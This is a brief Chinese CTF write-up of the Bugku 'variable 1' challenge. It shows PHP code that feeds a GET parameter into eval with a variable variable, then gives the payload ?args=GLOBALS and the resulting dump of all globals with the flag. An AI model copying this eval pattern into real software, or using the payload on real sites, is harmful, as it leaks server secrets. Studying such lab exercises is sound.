bugku 变量1

flag In the variable !  <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}


?>

又是代码审计．．．

首先简单看了一下　没有发现什么有用的信息，之后注意到最后一行的eval("var_dump($$args);");　注意了这地方有两个$$ 此处给大家一个书上的内容

看到这里大家应该就懂了　所以我们只需给变量传一个全局数组变量就好了　所以我们构造 ?args=GLOBALS加到网页后面

http://120.24.86.145:8004/index1.php?args=GLOBALS

便可得到FLAG

array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" }

如有疑问请联系ＱＱ834368404